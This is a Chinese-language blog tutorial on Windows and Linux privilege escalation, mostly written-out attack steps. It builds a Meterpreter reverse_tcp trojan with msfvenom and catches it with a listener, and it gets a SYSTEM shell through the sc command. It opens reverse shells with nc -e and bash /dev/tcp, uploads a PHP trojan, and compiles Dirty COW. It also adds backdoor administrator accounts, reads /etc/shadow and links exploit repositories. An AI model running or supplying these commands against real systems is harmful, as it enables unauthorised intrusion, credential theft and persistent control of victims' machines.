天天看点

Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

Windows权限提升

常见提权方法

1、溢出漏洞提权

2、数据库提权

3、第三方软件提权

Cmd命令无法执行原因分析

1、Cmd命令无法执行分析

​ 主要原因是cmd.exe被管理员降权或删除,也有可能组件被删除。

2、Cmd命令执行解决方法

​ 通过脚本木马查找可读可写目录,上传cmd,调用cmd路径执行命令(找可读可写目录不要选带空格目录)。

​ 菜刀设置终端路径:setp c:\test\cmd.exe

提权常用命令讲解

whoami ——查看用户权限

systeminfo ——查看操作系统,补丁情况

ipconfig——查看当前服务器IPipconfig /all

net user——查看当前用户情况

netstat ——查看当前网络连接情况netstat –ano /netstat –an | find “ESTABLISHED”

tasklist——查看当前进程情况 tasklist /svc

taskkill——结束进程taskkill -PID xx

net start ——启动服

net stop ——停止服务

net user best 123456 /add 添加用户名为best,密码为123456

net localgroup administrators best /add 将用户名为best的用户添加到管理员组

net user best /del 删除best用户

已对外公开exp注:

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/WindowsExploits/Exploits

https://github.com/AusJock/Privilege-Escalation

对于高版本提权的介绍(7、8、08、12、16)

一、UAC介绍

UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。

当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac

提权前奏

条件:kali环境下运行

木马生成:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.109 LPORT=4444 -f exe -o payload.exe
           

配置木马文件

本地监听:

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.60.109  //

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit
           

操作步骤

1、kali系统配置木马文件,最后生成木马文件

2、在被菜刀控制的主机上上传木马文件然后运行

3、监听的这边就会显示已连接

sc命令提权(administrator–>system)

ps:经测试03也可以。

关于sc命令:

SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

sc Create syscmd binPath= “cmd /K start” type= own type= interact

这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务

然后执行

sc start syscmd,就得到了一个system权限的cmd环境

Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

不带引号的服务路径

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:

=======================================

命令ps,可以看到对方进程目录,可以看到进程的令牌

执行以下语句窃取该用户进程的令牌:

steal_token 2584

会话状态下的权限提升

Meterpreter会话,接着我们在Meterpreter会话输入以下命令:

background //把你当前的Meterpreter会话转为后台执行。

接着我们在MSF命令行执行以下命令搜索微软2015年的可用漏洞模块

Linux权限提升

linux发行版本

是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:

· CentOS

· redhat

· ubuntu

· kali

linux内核版本的分类

Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字

第一个组数字:目前发布的内核主版本。

第二个组数字:偶数表示稳定版本;奇数表示开发中版本。

第三个组数字:错误修补的次数。

linux内核

Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。

查看发行版本

cat /etc/issue
           
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升
cat /etc/*-release
           
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

内核漏洞提权

查看内核版本

uname -a
           
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

在完成以上操作后,我们就知道了Linux的内核版本

就可以用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

searchsploit linux Debian 5
           
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

反弹shell

如果手里只有webshell可以利用反弹shell来得到一个shell

nc -lvvp 8080 -t -e /bin/bash
           
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

之后在物理机利用nc软件输入一下命令来反控制虚拟机

Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

以上是第一种方法,以下是另一种方法

bash -i >& /dev/tcp/192.168.60.7/9999 0>&1  //中间的IP地址为自己的公网IP
           

然后在本地物理机监听

Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

bash提权

针对kali4.9.0以下的版本,以上版本没有这个漏洞

xshell控制Linux后,进入vim配置端口8080,然后运行Linux上的Apache网站,

kali启动Apache网站的路径:

在终端输入“vim/etc/apacge2/ports.conf”(会进入vim),只收输入i进入编辑模式;进去后修改Apache2的默认监听端口为8080->编辑好好保存退出,

启动方式:在终端输入“/etc/init.d/apache2 start”

访问方式:在浏览器输入:kaliIP地址:8080/index.html

搭建好后上传木马文件(hao.php)到该网站。传到网站目录

然后访问该木马文件:找到下方位置

Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

之后点击反弹连接,然后到nc界面回车一下,就可以实现控制

Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

脏牛提权漏洞复现

POC文件:https://github.com/FireFart/dirtycow

准备好poc文件后,在低内核版本上新建普通用户。

新建账号的方法:
useradd test/passwd test
使用su切换账号
 su 账户名
           

配置以上后上传脏牛文件到服务器

上传完成后借用gcc编译脏牛文件,命令如下:

gcc -pthread dirty.c -o dirty -lcrypt
           
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升
Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

SUID提权

概念

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性

SUID提权:

那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

首先在本地查找符合条件的文件,有以下三个命令

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

已对外公开 exp 注

https://github.com/SecWiki/linux-kernel-exploits

https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/

https://github.com/xairy/kernel-exploits

Linux常用命令解析

uname -a 打印所有可用的系统信息

cat /etc/passwd 列出系统上的所有用户

cat /etc/shadow 列出系统上的所有用户密码

whoami 查看当前用户

w 谁目前已登录,他们正在做什么

last 最后登录用户的列表

lastlog 所有用户上次登录的信息

linux 一句话添加账号

(1)chpasswd 方法

useradd guest;echo ‘guest:123456’|chpasswd

(2)useradd -p 方法

useradd -p

openssl passwd 123456

guest

(3)echo -e 方法

useradd test;echo -e “123456n123456n” |passwd test

Linux运维最常用的150个命令https://www.jianshu.com/p/979d8f5e5e65

Windows和Linux权限提升Windows权限提升对于高版本提权的介绍(7、8、08、12、16)Linux权限提升

继续阅读